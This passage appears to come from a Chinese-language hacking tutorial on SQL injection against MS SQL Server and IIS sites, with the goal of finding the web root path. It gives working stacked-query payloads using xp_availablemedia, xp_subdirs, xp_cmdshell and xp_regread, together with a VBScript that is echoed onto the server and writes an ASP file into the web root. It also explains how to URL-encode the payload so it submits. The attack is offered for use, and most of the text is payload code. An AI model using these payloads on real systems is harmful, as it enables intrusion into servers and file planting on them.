1)我們可以利用xp_availablemedia來獲得當前所有驅動器,並存入dirs表中:
5 ;insert dirs exec master.dbo.xp_availablemedia;--
我們可以通過查詢temp的內容來獲得驅動器列表及相關信息
(2)我們可以利用xp_subdirs獲得子目錄列表,並存入dirs表中:
5 ;insert into dirs exec master.dbo.xp_subdirs ’c:\’ ;--
優缺點分析:
很明顯了,這樣就不會出現xp_dirtree那種所有目錄都放在一起的情況了,只會顯示一級目錄,找起來方便多了.
缺點也很明顯,只有sa有這個權限,也有可能管理員刪除了這個擴展(畢竟太強大了).
方法三:
這種方法很好
下面這個是原文
想到了使用adsutil.vbs程序,我是這樣執行的
a’;exec master..xp_cmdshell ’cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt’;--是不是很長啦通過它我們可以把IIS裡面第一個虛擬web站點的設置情況(當然包括它所在的實際目錄咯),導入到a.txt中對於a.txt的實際位置默認當然是c:\winnt\system32,其實這都不是問題,不過遇到管理員把adsutil.vbs,刪了或是放到別的地方我們就沒辦法了(不可能自已用echo 命令寫一個吧)
第二步:用echo命令寫下面的代碼到c:\中,很多嗎也不算吧
.....xp_cmdshell ’echo set fso1=createobject("scripting.filesystemobject")>c:\read.vbs’;--
.....xp_cmdshell ’echo Set WshShell = Wscript.createObject("Wscript.Shell")>>c:\read.vbs’
;--
.....
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject")
Set WshShell = Wscript.createObject("Wscript.Shell")
spa=WshShell.Environment("process")("windir")
set fil =fso1.opentextfile(spa & "\system32\aa.txt")
do while not fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" then
pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)
exit do
end if
loop
set fil1 =fso1.opentextfile(pa &"\dd.ASP",2,true)
fil1.writeline ""
---------------cut here-------------------------------------
第三步:當然就是執行read.vbs三,這樣我們可以把aa.txt中的內容讀出來找到web站點的實際路徑
然後寫一個叫dd.ASP的文件在web站的根目錄中,能否成功試試就知道咯
執行http://x.x.x.x/dd.ASP
返回:\xxx
哈哈,的確是好方法,
不過原文好像有點問題
就是
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt")
set fil1 =fso1.opentextfile(pa%2B"\dd.ASP",2,true)
兩句提交時會出錯
於是我們想到了加號,和&的功能相同
還有就是寫點什麼東西到dd.ASP呢?寫入pa,哈哈
哈哈,改成了
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject")
Set WshShell = Wscript.createObject("Wscript.Shell")
spa=WshShell.Environment("process")("windir")
set fil =fso1.opentextfile(spa "\system32\aa.txt")
do while not fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" then
pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)
exit do
end if
loop
set fil1 =fso1.opentextfile(pa "\dd.ASP",2,true)
fil1.writeline pa
---------------cut here--------------------------------------
因為用浏覽器提交時 號被轉換成了空格,所以在提交的時候還應該把變成%2B,好了,應該可以了,如下
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject")
Set WshShell = Wscript.createObject("Wscript.Shell")
spa=WshShell.Environment("process")("windir")
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt")
do while not fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" then
pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)
exit do
end if
loop
set fil1 =fso1.opentextfile(pa %2B "\dd.ASP",2,true)
fil1.writeline pa
---------------cut here--------------------------------------
如果發現1沒有的話,我們可以該成2,3,4...........
a’;exec master..xp_cmdshell ’cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt’;--
但是這種方法只能在Windows2000下使用,因為2003下新建的網站所在地址不是按照1234來排列的,好像是隨機生成的,個人比較過幾個2003下的
地址,沒有發現什麼規律.
優缺點分析
同上xp_cmdshell不是每一個用戶都可以用的!還有一個問題是adsutil文件不一定存在,或者不一定在那個路徑上,當然如果你原意的話你可以用
echo寫一個(哈哈,老多老多行的喲),另外的一個問題是,如果主機上有很多站點怎麼辦?我遇到過一個有九個站點的主機,膽識只有第8個是有用
的,暈了吧,很難有人有嗯那個耐性會堅持到那麼多的,早就崩潰了或許.還有就是不能在2003下用!
不過說實話,這個方法的確是一個好方法
方法四:
這個方法是要飯的提到的,通過xp_regread等從注冊表裡讀出路徑
以下推薦,獲取網頁路徑(通過存儲過程達到對注冊表的讀取):
利用內置存儲過程 xp_regread(讀取注冊表鍵值,權限public):
語句:http://www.xxx.com/list.ASP?classid=1;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test
varchar(20) exec master..xp_regread @rootkey= HKEY_LOCAL_MacHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test OUTPUT insert into paths
(path) values(@test)